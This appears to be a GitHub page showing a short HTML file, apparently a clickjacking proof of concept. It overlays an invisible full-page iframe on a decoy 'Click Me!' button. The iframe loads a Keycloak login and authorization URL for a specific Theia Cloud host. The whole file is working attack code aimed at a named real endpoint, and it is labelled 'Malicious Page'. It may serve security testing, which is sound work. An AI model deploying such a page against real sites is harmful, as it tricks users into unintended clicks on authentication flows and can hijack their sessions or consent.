-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshulabh.html
28 lines (28 loc) · 1.08 KB
/
shulabh.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Test</title>
<style>
/* Make the iframe transparent and cover the button */
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* Make it invisible */
z-index: 1; /* Layer it above other elements */
}
body {
position: relative;
width: 200px; /* Adjust as needed */
height: 200px; /* Adjust as needed */
}
</style>
</head>
<body>
<h1>Malicious Page</h1>
<button onclick="alert('You clicked me!')">Click Me!</button>
<iframe src="https://20.204.134.218.sslip.io/keycloak/realms/TheiaCloud/protocol/openid-connect/auth?client_id=theia-cloud&redirect_uri=https%3A%2F%2F20.204.134.218.sslip.io%2Ftrynow%2F&state=2e512788-6851-44a2-b907-d46bb396ed11&response_mode=fragment&response_type=code&scope=openid&nonce=84481974-200b-426e-9994-b48f5c088098"></iframe> <!-- Replace with your test page URL -->
</body>
</html>